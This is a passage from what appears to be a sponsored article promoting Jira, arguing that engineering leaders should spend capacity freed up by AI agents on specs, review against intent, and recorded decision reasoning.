<p class="wp-block-paragraph">The tempting response is to treat the freed-up capacity as pure speed: same work, same tooling, just faster. That captures the easy win and misses the real one. If engineers spend their reclaimed time reviewing a rising volume of agent output with no better context than before, review quietly becomes the new constraint, and you’ve moved the problem rather than solved it.</p>



<p class="wp-block-paragraph">The organizations that get ahead will invest the reclaimed capacity into the judgement layer: creating stronger specs and acceptance criteria before work starts, building review practices that test agent output against intent, and capturing the reasoning behind decisions where the next person can find it, so it doesn’t have to be reconstructed every time. That’s how the shift becomes an advantage for your team.</p>



<h3 class="wp-block-heading">The through-line for leaders</h3>



<p class="wp-block-paragraph">The engineering job is moving up a level, from executing the work to directing and validating it. That’s a more strategic role, and it rewards clarity of thought over speed of output. Leaders who see the shift early can help their engineers grow into the work that’s now most valuable.</p>



<p class="wp-block-paragraph">See how leading engineering organizations are operationalizing this shift at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-2" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>
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